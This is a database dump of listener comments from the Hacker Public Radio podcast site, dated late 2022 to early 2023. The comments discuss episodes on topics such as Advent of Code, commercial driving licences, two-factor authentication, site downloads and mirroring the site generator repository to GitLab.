(3632,3744,'2022-12-08 13:38:23','Trey','Fun with Advent of Code (AoC)','Thank you for sharing.  I decided to do AoC this year to refine my Python skills.  I am working on day 8 this morning.  Some have been more challenging than others, but I have learned new skills in each one.\r\n\r\nThe leaderboard is intimidating.  However, for folks who are competitive and have friends who might want to participate, you can join private leaderboards to show how you rank against each other.\r\n\r\nIf anyone is even curious, you should give it a try!','2022-12-08 20:27:07'),
(3633,3746,'2022-12-12 08:39:50','zloster','A tool with very detailed information about the cache configuration of the CPUs','This tool is displaying valuable and detailed information about the CPUs and the system topology:\r\n1) https://www.open-mpi.org/projects/hwloc/doc/v2.8.0/a00358.php#cli_examples\r\n2) https://www.open-mpi.org/projects/hwloc/lstopo/ - more examples\r\n\r\nAlso they support a ton of various output formats: txt, svg, png, pdf and so on.','2022-12-12 19:39:46'),
(3634,3750,'2022-12-17 04:59:14','Windigo','Ajo','I\'m always surprised when I hear anything about Ajo, Arizona!\r\n\r\nMrs. Honeyhume served as their art teacher around a decade ago, and I was able to visit occasionally.\r\n\r\nThanks for the trip down memory lane!','2022-12-17 20:01:54'),
(3635,3750,'2022-12-17 17:32:01','brian-in-ohio','history','Good show, like the travel log style that gives us all the gritty detail. I would remind people that right and left wing violence has been a part of US capital hill history since the founding of the Republic. https://en.wikipedia.org/wiki/Timeline_of_violent_incidents_at_the_United_States_Capitol','2022-12-17 20:01:55'),
(3636,3754,'2022-12-24 16:27:28','Bill Dietrich','Twitter','Guy who starts by saying \"I\'ve never used Twitter\" then pronounces about Twitter.  Says Twitter should \"respect the office of the presidency\" when the president who they banned didn\'t respect either the office or truth or public health or the Constitution.  Gloats about Musk firing all those liberal employees while claiming not to be on the Right.','2022-12-24 20:22:06'),
(3637,3756,'2022-12-27 11:23:42','Ken Fallon','I have done this','Go do this.','2022-12-27 20:56:14'),
(3638,3757,'2022-12-27 18:52:51','Trey','Thanks for sharing.','Thanks for sharing this information.  I am surprised that you are sticking with trucking instead of transitioning into information security.  With your IT experiences and your analytical mindset, you would be a huge asset within infosec.','2022-12-27 20:56:15'),
(3639,3756,'2022-12-27 21:38:47','norrist','Me too','https://noc.social/@norrist is Verified.','2022-12-27 22:46:28'),
(3640,3757,'2022-12-27 23:32:11','janedoc','Thanks for an informative show','I am one of those doctors that examines CDLs.  I\'m happy to hear an HPR contributor discuss commercial driving.  There is such a need for CDLs in the U.S. Having a CDL makes a person a much more valuable employee.  And, it\'s not all about long-haul trucking.  I see a lot of school bus drivers, ranchers with large equipment, propane delivery people, and those who work for the city or county.','2022-12-28 20:50:50'),
(3641,3757,'2022-12-28 08:18:28','binrc','Careers\n','I enjoyed this show. It made me consider getting a CDL. It\'s comforting to know that other hackers have jobs that are completely unrelated to tech. I have a construction job that involves manual labor and operating equipment. Sometimes seemingly asinine career decisions really are the best possible career decisions given circumstances unknown to others. I\'ll record a response show when I have time :)','2023-01-14 16:10:24'),
(3642,3762,'2023-01-03 12:54:27','Trey','Thanks for sharing.','It has been a while since I posted a show, and this is mostly due to physical limitations which started with \"Mouse Shoulder\" and are now 12 weeks post rotator cuff repair surgery.  I have been considering doing a show, or a small series of shows about similar topics as they relate to the things we choose to do and the potential physical impacts on us old folk.   \r\n\r\nI did hear a rumor that HPR could use a show or ten...  :)','2023-01-03 21:07:51'),
(3643,3763,'2023-01-05 15:42:45','Viv','Meta Baader-Meinhof','Less than two hours after listening to this I was watching the new Young Ones 40th anniversary blu-ray. \r\n\r\nNear the end of the episode, the gang are outside the bank they\'re about to rob and Rick says:\r\n\r\nYeah, come on. Robin Hood, Baader-Meinhof. Those bank clerks\r\ndidn\'t have to become bank clerks. They knew the risks when they took the job. Let\'s just get in there and let them have it!','2023-01-05 20:26:20'),
(3644,3763,'2023-01-06 10:57:08','Mike Ray','I rest my case','This has happened to me many, many times. And to most adults too I suspect. Psychology interests me, cognitive biases of all kinds in particular, and the way human brains are so attuned to pattern recognition. A survival imperative buried very deep in our most native brain parts. The lizard brain a lot of people call it\n','2023-01-06 11:46:09'),
(3645,3767,'2023-01-10 19:03:54','Celeste','Riaa curve and italian youtuber video','Reading about RIAA equalization and vinyl disks made me remember about this video i watched some time ago.\r\nI hope the automatic subtitles are good enough. He made a LP disk..out of chocolate, engraving it on his own and applying that RIAA equalization first. Being able to hear something out of the noise is quite cool\r\n https://www.youtube.com/watch?v=D0RpLxIYX8Q\r\n\r\nThere\'s also a more recent one using laser engraver on wood instead of chocolate','2023-01-10 20:20:03'),
(3646,3758,'2023-01-12 06:47:56','Windigo','What a \"whodunit\"!','I really enjoyed this episode - although, as a dev currently dealing with some \"creative\" PHP code, it hit a little too close to home.\r\n\r\nThanks for the mysterious tale!','2023-01-12 19:02:23'),
(3647,3766,'2023-01-12 13:35:34','ClaudioM','Good Review, but Still Avoiding Gaming Laptops','Really enjoyed the review of the laptop, especially the followup. Still, I\'ve been turned off on all gaming laptops in spite of the temptation they provide. I once tried to buy an Eluktronics gaming laptop after reading good reviews from them, but after a botched purchase attempt, I decided to skip it and go with a used HP ProBook 4540s which had Radeon and Intel graphics, unbeknownst to the seller.\r\n\r\nHowever, what really turned me off on gaming laptops is when I attempted to repair my son\'s MSI gaming laptop\'s keyboard. What a nightmare! I basically had to remove everything to get to the keyboard, and even then I wasn\'t able to replace the keyboard because the board with the ribbon was glued on. From that point forward, I decided I\'d go with a gaming desktop in the future and stick with laptops that are more serviceable, something like the Framework. Buyer beware!','2023-01-12 19:02:23'),
(3648,3766,'2023-01-13 12:59:37','bookeyrmm','reply to claudio','In a past life I was a certified HP repair tech, They are very easy to work on. TBH, the primary feature I was looking for was the additional drive bays and graphics card, I don\'t actually do much gaming on the laptop. With 2 open slots for SSD/HDDs I was able to add a 128GB shared drive and a 1 TB os drive for my linux install. (Which is where I spend most of my time)','2023-01-13 19:54:28'),
(3649,3753,'2023-01-16 05:29:30','dnt','Pure obscurantism','Great piece! In my view, numeronyms are pure obscurantism. What is more atrocious is when people say it out loud. I\'ve been in a call at work where someone kept saying eye-eighteen-en and el-ten-en. Ludicrous!','2023-01-16 19:08:42'),
(3650,3754,'2023-01-18 00:31:53','dnt','Trippy as hell','Good show. It reminds me of the day I unknowingly took a THC gummy. Probably my main takeaway is that one can only hope to inspire a rebuttal show by zenfloater2.\r\n\r\nIf you haven\'t yet, do read the short story \"The Machine Stops\" by E. M. Forster. I heard about it in Stuart Russel\'s 2021 Reith Lectures (on BBC Radio), which I also recommend.','2023-01-18 19:37:41'),
(3651,3773,'2023-01-18 12:39:24','mpardo','A \"must listen\" to all who aspire to speak to an audience','This is a great list of tips for public speaking.\r\n\r\nA couple of thoughts, prompted by this episode...\r\n\r\nI have given talks to hostile audiences, or at least audiences with some hostile attendees.  I have given talks where there are attendees that are only there owing to having been told that they must be there (typically by their boss).  Body language usually gives these people away.  Once they are recognized as hostile, they can mostly be ignored, allowing the speaker to focus on the people who indeed have chosen to be there.  However, the hostile attendee is very rare.\r\n\r\nI have found, when including humour, it is best to avoid a pause after the humour is delivered.  There is a tendency to pause to allow the audience to respond with laughter, however, if the humour does not succeed, the pause will be very awkward.  It is much better to go straight to the next statement after the humour.  If the humour worked and there is laughter, a pause mid-sentence (post humour) is fine.  Start the interrupted sentence over when the laughter diminishes and all is good.  If the humour did not work, the lack of a pause allows the audience to continue listening and often not even notice that there was a unsuccessful attempt at humour and the speaker does not suffer the embarrassment of appearing to try to be funny.  Pauses are good, but tricky when they follow humour.\r\n\r\n\r\nJust some thoughts from listening to this very good episode.  \r\n\r\n\r\nCheers!','2023-01-18 19:37:41'),
(3652,3773,'2023-01-18 13:24:03','Trey','Thanks for sharing.','Very well presented, Mike.  \r\n\r\nI personally enjoy public speaking and teaching, but I was still able to gain some nuggets of wisdom from your podcast.  Even after years of speaking, I still struggle with omitting \"Ummm\", \"Uh\", etc.  These usually happen if I lose my place or am trying to work away from my original outline or answer a question.  I like your idea of pausing at these times while I gather my thoughts.  I will try to apply this soon!','2023-01-18 19:37:41'),
(3653,3753,'2023-01-18 19:42:01','Dave Morriss','Thanks dnt','I haven\'t heard many people say these things spelled out the way you describe, but I may have been guilty of it myself before I knew what they were! I just hope they go away :-)','2023-01-18 21:49:43'),
(3654,3773,'2023-01-19 07:00:06','one_of_spoons','Professional demeanour.','Thanks for preparing the context for me to shout from the audience :   \"  ! hooray !  ! Moonbouncing ! \" .','2023-01-20 11:09:30'),
(3655,1240,'2023-01-20 16:58:59','Charles in NJ','Doomsday Python Code','The code in the posted module still works in Python 3 until you come to the print statements in the Main procedure. Those have to be changed to print() function calls. \r\n\r\nOne more quibble: Isaac Newton was born before the adoption of the Gregorian calendar, so that example is not correct. \r\n\r\nOther than that, the episode has stood up fairly well over time. \r\n\r\nI can even stand to listen to it at 1.6x speed.','2023-01-20 20:25:23'),
(3656,3773,'2023-01-20 22:36:45','Mike Ray','Thanks very much to everybody. I listened back to this when it was published. I hope the Christmas b','A couple of verbal ticks, but not too many.\r\n\r\nHumour is best left out of tech talks, unless you can poke gentle fun at yourself. I was told several times by a writing coach to make my mind up whether I was writing something serious, or something funny. Because the injection of a joke can pull the audience out of deep thought about what you are saying or writing, which might be totally inappropriate.\r\n\r\nI particularly like the three part rule, thanks to the late and great Peter Hopwood, once of the LSE for that, some forty years ago.','2023-01-20 22:45:46'),
(3657,3773,'2023-01-21 22:40:44','Mike Ray','Messed up that last comment','I messed that up. It was meant to say I hope the Christmas beer didn\'t make me break my own rules.','2023-01-21 23:17:05'),
(3658,3751,'2023-01-22 10:59:23','Ken Fallon','Wow this actually works','I installed this after noticing that conference calls were picking up everything even when I was in the next room.\r\n\r\nThanks Deltaray for posting this one +1 from me.','2023-01-22 11:11:42'),
(3659,3776,'2023-01-25 22:04:07','brian-in-ohio','how to do it','This is how you do a distro review. Great episode!','2023-01-25 22:41:38'),
(3660,3778,'2023-01-25 22:10:27','brian-in-ohio','2fa','I was forced to set up 2fa in order to use mutt with my gmail account. The funny thing is when you log into gmail on a web browser on your phone (won\'t use the gmail app) google politely asks if you want to remember this device so you won\'t have to 2fa anymore? Not only that the check box comes up prepopulated with a check??? What good is 2fa if you can bypass it with a check mark, and why make me do it in the first place and why populate the checkbox. I\'m moving to fastmail','2023-01-25 22:41:38'),
(3661,3772,'2023-01-25 22:12:22','brian-in-ohio','good info','This show was great. Lots of good information. Can\'t wait to hear more stuff like it','2023-01-25 22:41:38'),
(3662,3771,'2023-01-25 22:13:36','brian-in-ohio','music','Great show, good encouragement. Nice tunes!','2023-01-25 22:41:38'),
(3663,3764,'2023-01-25 22:15:09','brian-in-ohio','emacs rocks','Great show, keep them coming. Emacs Rocks!!!','2023-01-25 22:41:38'),
(3664,3758,'2023-01-25 22:17:38','brian-in-ohio','love the show','I never worked in IT but i love stories like this, great work.','2023-01-25 22:41:38'),
(3665,3778,'2023-01-26 00:52:00','JohnnyLawrence','Whoafully misinformed','I\'m a huge fan of HPR and everything it stands for. That includes freedom of speech. I also understand episodes should be viewed in an editorial context. However, I can\'t help but feel episodes like this drag down the quality of the podcast as a whole.\r\n\r\nThe \"squirrel\" is just old man yelling at cloud[1] here. I\'m not Google apologist and I consider them pretty evil as a whole. But so many of the things mentioned were just flat incorrect. \r\n\r\n1. Google doesn\'t control any cell phone networks. They don\'t have any of their own towers. \r\n\r\n2. Claiming that Google is throttling your connection because YouTube is fast and transfers from your home server are slow is a pretty big leap. YouTube content is served from a massive CDN which has peering agreements with ISPs all over the world. That content is going be served blazing fast to almost anywhere. Transfers over an ssh connection from a little desktop on a residential connection to a Chromebook tethered to a cell phone will never be comparable. \r\n\r\n3. 2FA has little to do with vendor lock in and everything to do with security. I don\'t own any Android devices. My iPhone and iPad can both be used as the 2nd factor for Google 2FA without issue. \r\n\r\n4. Google has nothing to do with QR codes at all. \r\n\r\nI could go on but I think you get the point. I don\'t want to see fact check banners on episodes and I don\'t want to see posters censored. With that in mind, we have to do better as a community. Better episodes and higher quality content will draw more listeners and thus, more contributors. Let\'s up the bar and keep HPR alive. \r\n\r\n[1] https://knowyourmeme.com/memes/old-man-yells-at-cloud','2023-01-27 21:47:08'),
(3666,3762,'2023-01-28 17:06:58','one_of_spoons','Character entry devices.','Have you heard of Charachorder?\r\nThey are a brand name for \"chording\" devices.\r\nThese devices help you reach typing speeds up to 250 words per minute, without moving your fingers very much.\r\nEach finger switch is like a mini joystick.\r\nThe devices are not cheap, but I think they sell the logic boards, or a USB pass-through device, so you could compare 3D printing costs, or wait for under priced copies.\r\nThey have a dot com website.','2023-01-28 19:18:09'),
(3667,3768,'2023-01-28 17:20:36','one_of_spoons','Ear pieces.','Funny how you apologised for the gentle background noise of a distant aeroplane, then sent many, many alarm bleeps into my well sealed earpiece. \r\nI need to tie a piece of string to the phono wire next time I\'ve got my gloves in the goop.\r\nMy mistake.\r\nThanks for the show','2023-01-28 19:18:09'),
(3668,3759,'2023-01-28 17:52:18','one_of_spoons','RISC V emulators.','Mostly I wanted to mention RISC V emulators.\r\nQEMU can emulate both 32-bit and 64-bit RISC-V CPUs. \r\nWe have  qemu-system-riscv64 executable to simulate a 64-bit RISC-V machine\r\nor qemu-system-riscv32 executable to simulate a 32-bit RISC-V machine.\r\n\r\nSiFive are planning to release a development hardware board this summer, according to some page on the internet; the HiFive Pro P550.','2023-01-28 19:18:09'),
(3669,3781,'2023-02-01 19:07:11','one_of_spoons','Candle power.','I assumed these were more complicated boost modules.\r\nI hadn\'t realised they were so simple.\r\nI\'ve definitely got a bunch of those components.\r\nThanks.','2023-02-01 19:43:16'),
(3670,3783,'2023-02-03 15:11:30','Mechatroniac','HPR','The site is awkward to download from, now that I am using a standalone mp3 player and my computer instead of an android podcasting app that automatically does it.  \r\n\r\nI don\'t understand why things are made more tedious for PC users but this is a degradation.  It doesn\'t help that the podcast apps for PC are garbage.  Podfriend doesn\'t even let you download.  \r\n\r\nThere should be a way to download more than one podcast at once, without mastering some scripting language.  The way it stands is if I want to download shows I have to navigate to each individual page and then click to the mp3.  \r\n\r\nWhy not put an mp3 link on the main list so people can download the podcasts without having to go to each individual page first.  This is so tedious especially after getting used to the ease of android apps.','2023-02-03 20:36:00'),
(3671,3783,'2023-02-04 19:44:52','Ken Fallon','Podcast Clients','Hi Mechatroniac\r\n\r\nThanks for the feedback. Can you clarify which page you mean when you say \"main list\". The main page has a link to the media files.\r\n\r\nIf you want custom control, then I suggest you load the sites RSS feed into any of the many podcatching clients that are available. For example gPodder. They will allow you download all, some or none depending on your wished.\r\n\r\nKen','2023-02-04 20:05:00'),
(3672,3784,'2023-02-07 21:22:10','Zen_floater2','Thank you for making this podcast','I found your version of two factor authorization interesting and would love it if more companies implemented common sense rather than marketing.','2023-02-08 21:23:34'),
(3673,3776,'2023-02-08 03:34:40','bookewyrmm','RE: How to do it','Thanks for the complement, I appreciate it. \r\n\r\nI have since decided to use the xero box as a zone-minder server, we\'ll see how that goes and I\'l record an update! I need to purchase a couple hard drives first, and I may do a reinstall just for a clean start at that project.','2023-02-08 21:23:34'),
(3674,3789,'2023-02-09 13:24:06','ClaudioM','Great First Episode!','Hey, fellow SDFer! I enjoyed the episode even if it was over my head for my morning drive in traffic. Sounded great! And thanks for the shoutout! I\'m glad I had a hand in getting you to submit an episode and I\'m sure everyone is thankful to hear what you had to say. Looking forward to future episodes from you.\r\n\r\nMaybe we can get ldbeth (another fellow SDFer to those who don\'t know) to record an episode on a similar Lisp topic or to respond to your episode!','2023-02-09 22:43:59'),
(3675,3789,'2023-02-09 20:45:33','Zen_floater2','Nice show','I finally decided to join Mastodon today and sent screwtape a message there.  So, i\'m on the same server instance as screwtape now.  I also went through gopher resources he\'s using.  I had the \"BIG IDEA\" I would use by chrome gopher extension thing to view all of it.  Ended up using lynx from my \'linux beta\' on this chromebook because the chrome gopher extension fell flat on it\'s face!   THANKS GOOGLE!!!!  I\'m going to have to get a NEW computer with 32 GB of ram so I can run Fuguita again and quit using these chromebooks.   It\'s bad on my image.  That is to say if I had an image.','2023-02-09 22:43:59'),
(3676,3783,'2023-02-12 21:58:37','Mechatroniac','gpodder','gpodder I tried once, the discover new podcasts feature is completely broken.  \r\n\r\nWhy can\'t there be a straightforward list of mp3s to download that I can save as and download from the list?  \r\n\r\nI mean in the two week show list... I guess that\'s good but it is in rss format.  Forcing people to use another app when all that is required is html seems regressive.  I think rss should be probably part of the html standard but it\'s not so pain in the ass plugin is required...\r\n\r\nAnyway you can search and scroll for the mp3 links in the 2 week feed, scrolling a little too much... then it shows the next 5 weeks as links... why not have an mp3 of each show there.  \r\n\r\nThe full list doesn\'t even display in the PITA extension I am using.  \r\n\r\nCan\'t there be easy html links for mp3s by the 100 or so?  I don\'t really care about the other formats.  I mean I like the show notes but when I come here to download mp3s I want to be able to download a bunch at a time and not have to spend a lot of time doing so.','2023-02-13 19:55:39'),
(3677,3783,'2023-02-12 22:49:36','Mechatroniac','awkward web site','Sorry for hijacking your comments Mike, I will listen to your podcast.\r\n\r\nI should clarify, the home page, when you scroll down is identical to the 2 week feed, which is a bit of scrolling to find the mp3s but ok since it\'s on the same page.\r\n\r\nThen there is a nice table, with a list of last month\'s shows.  But no direct mp3 links.  \r\n\r\nSo if you are two weeks or more behind you have to click on each show title then go to that page then find the mp3 link to download the show.  Then you have to go back and repeat the process, what a waste of time.  Can\'t there be a link to the show mp3 next to the title in that table so I don\'t have to keep going back and forth?\r\n\r\nGo to archive.org hoping they would be better organized.  Same shit.  They give you a picture of the audio waveform on the link page but no mp3 link. I\'d rather have a mp3 link than look at the stupid waveform.  Everything sucks. The hapless HTML user is a click labourer for no reason.    \r\n\r\nIt shouldn\'t be so punishing to people using HTML.  This is the web after all and I find the podcast players for PC insufferable, most of the good ones are for android and don\'t even have a PC version.  \r\n\r\nI would trade all the rss links for a simple table design, that had like 100 episodes per page, that had direct links to mp3, and if you choose, also read the show notes by clicking the title.  \r\n\r\nAll it would take to make it a little better is adding a small one letter link to mp3s on \"Last Month\'s Shows\" table on the home page and extend the table to more months, I\'m sure that room could be made.  Please?','2023-02-13 19:55:40'),
(3678,3791,'2023-02-13 13:53:22','Trey','Keyboard Addiction','This was a great perspective on the world of keyboards and customization.  I, too, grew up with solid mechanical keyboards.  The first PC Keyboard I purchased was a Liton tactile 101 key, and I loved it.\r\n\r\nPart of me wants to try to get something which will get me back to the feel of those old keyboards.  However, I have friends who have fallen into the addiction of constantly needing to upgrade, rebuild, customize their keyboards, and I could see myself there easily, too.\r\n\r\nThanks again for sharing.  Great first episode and I look forward to kearing more of your work.','2023-02-13 19:55:40'),
(3679,3783,'2023-02-13 16:47:52','Mechatroniac','nm','never mind I\'m using the crippled gpodder for the rss for now.  I think my comments about the website are valid though.','2023-02-13 19:55:40'),
(3680,3792,'2023-02-14 13:18:13','Trey','What fun!','This took me back to my days in elementary &amp; middle school learning several instruments and to high school and collage choir.  This was much fun, as I happened to listen to it while walking around the grocery store.  I am sure I was quite a site.\r\n\r\nI finally figured out why I was getting out of breath, though.  I listen to podcasts at 1.5x speed.\r\n\r\nThank you for recording this.  I look forward to the next parts.','2023-02-14 19:21:24'),
(3681,3783,'2023-02-14 17:09:55','Ken Fallon','Fixed.','I updated the site as requested\r\n\r\nI also updated the complete episode guide \r\n\r\nhttps://hackerpublicradio.org/index_full.php\r\n\r\nAnd created a issue of the same change on the new site generation tool.\r\nhttps://repo.anhonesthost.net/rho_n/hpr_generator/issues/70','2023-02-14 19:21:24'),
(3682,3793,'2023-02-15 15:48:23','Zen_floater2','Appraising the show!','The Squirrels of a thousand hollows thank you.','2023-02-15 21:49:25'),
(3683,3792,'2023-02-15 21:27:14','jezra','quite possibly the most toe-tapping episode of HPR','Thank you! Although I didn\'t clap my hands, I certain tapped my feet in time to the beat; all while typing away at work.','2023-02-15 21:49:25'),
(3684,3793,'2023-02-21 00:15:22','Some Guy on The Internet','You are welcome kind Squirrel.','I had fun making the show. I&rsquo;m hoping create more show responses in the future. Thank you for giving us all something to ponder.','2023-02-21 22:33:21'),
(3685,3798,'2023-02-22 15:21:23','Mechatroniac','lol','I really wanted to hear her swear.  Guess I will have to disguise the phonics if I want that to happen.  \r\n\r\nI did got a kick out of reading the transcript.  I really did!  Holden Caulfield installs Linux.  \r\n\r\nOne clarification; my method of dual booting two hard drives in BIOS consisted of me simply switching the boot hard drive in the BIOS settings.  That can\'t be done with UEFI.','2023-02-22 20:51:40'),
(3686,3797,'2023-02-22 16:08:34','Mechatroniac','Very cool','I don\'t know how much I could help but it looks like a fun way to learn more about git and what a static website entails as opposed to whatever is in effect now.\r\n\r\nI am having trouble finding where to register.\r\n\r\nI keep getting \'bad gateway\' error here:  https://repo.anhonesthost.net/rho_n/hpr_generator\r\n\r\nIf I go to anhonesthost.net it is an \'Index of\' page, where there is a link to cgi-bin, that leads to \'403 forbidden\' when clicked.  \r\n\r\nThe git clone command run in linux connects but asks for a password.  \r\n\r\nWhere can I sign up to be a member?','2023-02-22 20:51:40'),
(3687,3797,'2023-02-22 21:47:48','norrist','Repo Location','It looks like we killed repo.anhonesthost.net.\r\n\r\nCan the hpr_generator repo be moved to gitlab.com?  Moving the repo would eliminate the need for an additional read only mirror, and we could take advantage to gitlab\'s CICD.','2023-02-22 21:55:06'),
(3688,3796,'2023-02-22 22:09:16','mcnalu','Concise and clear','Concise and clear David, but then I expected no less given what you said to me at the HPR stand at FOSDEM. I will be trying out some of these languages and reading the books you mentioned. Thank you for this show!','2023-02-22 22:11:23'),
(3689,3798,'2023-02-23 22:30:47','Zen_floater2','OBS-STUDIO comment.','I did go back and read the transcript of my Slackware 15 show and it seemed a bit unclear on the comment about OBS-STUDiO.  I had to compile  that program along with others.   Slackware 15 offers KDENLIVE on the DVD but not OBS-STUDIO.\r\nAnyway, sorry for any misunderstanding.','2023-02-24 19:19:47'),
(3690,3797,'2023-02-24 21:23:02','norrist','Automated build on Gitlab','I was able to get Gitlab CICD to build the HPR static site.\r\n\r\nFirst step was creating a mirror of the HPR generator repo:\r\n\r\ngit clone gitea@repo.anhonesthost.net:rho_n/hpr_generator.git\r\ngit remote add gitlab_mirror git@gitlab.com:norrist/hpr_generator_mirror.git\r\ngit push gitlab_mirror  main\r\n\r\nThen I created a Gitlab CICD pipeline to:\r\n- check out the hpr site generator from the mirror\r\n- load the HPR daily mysql dump into a mysql database\r\n- build the site\r\n- publish to gitlab pages.\r\n\r\nThe CI project is https://gitlab.com/norrist/hpr_generator_build\r\n\r\nThe build is published at https://norrist.gitlab.io/hpr_generator_build/','2023-02-24 23:03:25'),
(3691,3797,'2023-02-25 12:25:08','rho`n','Sweet! nice work norrist','I was thinking of having a mirror on Gitlab or my own Gitea instance, but now that you\'ve done the heavy lifting.... ;)\r\n\r\nOne minor modification to your site.cfg and your Gitlab pages will have the audio files and transcripts pointing to the correct spot on archive.org\r\n\r\nmedia_baseurl: https://archive.org/download/hpr$eps_id/','2023-02-25 19:12:47'),
(3692,3797,'2023-02-25 12:36:00','rho`n','RE: Registering at https://repo.anhonesthost.net','Hi Mechatronic, if you goto  https://repo.anhonesthost.net -- at the top right of the page there is a register button which takes you to a form to fill out.\r\n\r\nIt is not an automated process. It may take a day or two for your registration request to be processed.\r\n\r\nI am looking into mirroring in a public location, just haven\'t made time to do that yet','2023-02-25 19:12:47'),
(3693,3798,'2023-02-25 16:39:40','Mechatroniac','reply to zenfloater2','Ahhh I see.  I don\'t like to compile on linux.  I tried to compile OBS under Devuan once and there was always one part that was out of date.  So I went through all these steps only to find some dependency or another was too old and had to be updated, but then it can\'t be updated for some reason.  What a frustrating waste of time, never want to do that again.  \r\n\r\nI don\'t even like having to run apt update. All that code on my computer, from all sorts of different sources, that is constantly changing.  How that could ever be secure?   If you went back in time to the 90s and told a computer user what it is like now they would think it is nightmarish.','2023-02-25 19:12:48'),
(3694,3800,'2023-02-26 00:57:41','brian-in-ohio','moore\'s law','Interesting episode but Moore\'s law has to do with transistor density not systems getting better. Also, how Ahuka know the inner workings of Ukrainian OpSec? I\'m guessing he doesn\'t.','2023-02-26 11:58:45'),
(3695,3800,'2023-02-26 09:33:07','Zen_floater2','Very Interesting','I found this program very interesting.  It was a goodie.','2023-02-26 11:58:45'),
(3696,3799,'2023-02-26 09:36:08','Zen_floater2','Extremely entertaining','I could not stop my tail from wagging on this program.  It was extremely interesting to listen to your program on your router using OpenBSD.  Could you give us an idea of your through-put in this device using OpenBSD.  \r\nTry using http://fuguita.org/','2023-02-26 11:58:45'),
(3697,3807,'2023-02-26 17:17:33','Mechatroniac','.','Good to see someone else doing \r\nArduino stuff. \r\n\r\nHowever your code is not sketch code and will not compile in the arduino IDE.  You mention forth?  \r\n\r\nWhat software are you using to compile?','2023-02-27 19:03:02'),
(3698,3807,'2023-02-26 17:40:16','Mechatroniac','.','https://sourceforge.net/projects/flashforth/','2023-02-27 19:03:02'),
(3699,3799,'2023-02-26 23:37:13','Windigo','Custom Routers','I\'ve been looking into DIY OpenWRT hardware, and PCEngines came up a couple times. I had never heard of them before, and was happy to hear about your experience with them and other devices.\r\n\r\nThanks for the well-timed episode!','2023-02-27 19:03:02'),
(3700,3803,'2023-02-27 01:39:40','Mechatroniac','The Inverted Rabbit','It sounds to me like ChatGPT is plotting to serve humanity, in the malevolent anthrovore sense.  \r\n\r\nAnd what a macabre user name it chose.','2023-02-27 19:03:02'),
(3701,3798,'2023-02-27 10:40:46','Luna bittin Jernberg','Slackware Grub','Slackware is using lilo by default, and you don\'t have to create a boot USB stick can just install lilo to the standard disk you install on or install grub from slackpkg and configure that','2023-02-27 19:03:02'),
(3702,3794,'2023-03-01 19:27:31','one_of_spoons','tape cassettes','I have dismantled a few cassette players in the past. The memories make me shudder, but I thought the pieces were neat.\r\nI never have repaired one. I repaired a lot of chewed up cassette tapes though, albeit stretched or with missing sections.','2023-03-01 21:39:51'),
(3703,3806,'2023-03-08 11:32:47','Archer72','Karaoke','I do keep the project that I work on, including the karaoke machine.  What I don\'t do is use it for the intended function, so it is used for the tape and 8 track portion of the device.  At least one of the microphone inputs work, as that is how I recorded to the cassette tape.','2023-03-08 23:28:08'),
(3704,3807,'2023-03-08 23:13:40','brian-in-ohio','forth shows','You could listen to hpr 3477 and hpr 3537 they explain running forth on arduino boards. I\'m using flashforth an explanation on this excellent implimintation of this forth can be found at flashforth.com. This is not a sketch, its a forth that runs on the board and allows interactive control of the microcontroller.','2023-03-08 23:28:08'),
(3705,3809,'2023-03-09 03:22:39','Some Guy on The Internet','The normiees wouldn&rsquo;t like it.','Do you leave home with this device? If so, are you arrested for having that device? I imagined myself being arrested if I walked around with something like this. Thank you for providing the show.','2023-03-09 22:40:17'),
(3706,3808,'2023-03-09 03:45:36','dnt','funkwhale','Great interview! Thanks for this. I followed the tip about downloading the Funkwhale app for Android and doing anonymous authentication on open.audio. Pretty nice! Using the \"radios\" you can get some nice tunes. I have tried to install Funkwhale a long long time ago, but failed. In the end I just set up mpd and listen through the http output. This show definitely renews my interest. I also enjoyed your brief discussion about copyright, which you said you should continue over a pint, sensibly. I would have a comment on that, but it would be too long for this, so it may come in some other form.','2023-03-09 22:40:17'),
(3707,3809,'2023-03-09 13:59:55','Mechatroniac','captions','pic 1 shows the slit in the lid where the sdcard resides.  Sdcard and slot are protected from being bumped by the strategically placed, glued lid\r\n\r\npic 2 shows charging, microusb cord is coming in from the bottom, LED on charging board illuminates brightly\r\n\r\npic 3 shows both boards glued to bottom lid, with the top lid off','2023-03-09 22:40:18'),
(3708,3809,'2023-03-09 18:04:01','norrist','Premium HPR content','This is a very cool project.  More like this please.','2023-03-09 22:40:18'),
(3709,3810,'2023-03-10 00:48:20','zen_floater2','up-state !','Ahhhh,,  the famous SILVER BELL MINES!!!\r\nWhere few Squirrel go as there is no other tree than cactus.','2023-03-10 21:45:07'),
(3710,3809,'2023-03-10 20:22:36','Mechatroniac','reply','SGOTI - check your local regulations :-)','2023-03-10 21:45:07'),
(3711,3794,'2023-03-14 19:31:01','Jon Kulp','Obsolete Audio Devices Rule','What a beautiful machine! So glad you got it working and recorded an episode about it. Love it. Now if you could only source some vintage karaoke tapes in both formats and sing along for demonstration...','2023-03-14 22:14:13'),
(3712,3761,'2023-03-16 14:53:22','Kevin O\'Brien','Travel journals','I know this is late, but I was traveling when it came out and I\'m just catching up now. Dave made a comment that it sounded like I was reading from a journal when he commented on my show about Southern Arizona. Indeed, that has been my practice, going back to a trip to San Francisco in 1979 where I got engaged to my lovely wife. I think it is well worth the effort to keep your memories alive. Now that I am getting up in years I have decided that I don\'t need more stuff, I just want more memories. So I keep a journal on all of my trips, and I plan to keep doing it.','2023-03-16 18:54:09'),
(3713,3814,'2023-03-16 21:07:06','Stache_AF','I need to speak up','Apparently I need to speak up more because I got really cut off by the silence trunkation. I also wanted to make sure the link to the ham clock software got put in https://www.clearskyinstitute.com/ham/HamClock/','2023-03-16 21:31:25'),
(3714,3814,'2023-03-17 03:03:09','Some Guy on The Internet','I vote for \"Push To Talk\".','For future long format shows, I\'ve included this simple \"how to\" video for Mumble users. It covers \"Toggle Self Mute\" and \"Push To Talk\" keybindings. We should really have some kind of reminder during these events to help with the \"frantic keyboard noise\" issues.\r\n\r\nhttps://www.youtube.com/watch?v=kcxzP4uPZTs','2023-03-17 20:15:46'),
(3715,3802,'2023-03-18 14:46:02','Kevin O\'Brien','Impressive undertaking','I am very impressed with this. You should definitely feel a sense of accomplishment','2023-03-18 20:23:22'),
(3716,3808,'2023-03-22 00:08:40','Windigo','Piqued interest','Thanks for the great interview! I\'d never heard of this software before, but it sounds very appealing. Looking forward to investigating further!','2023-03-23 09:43:36'),
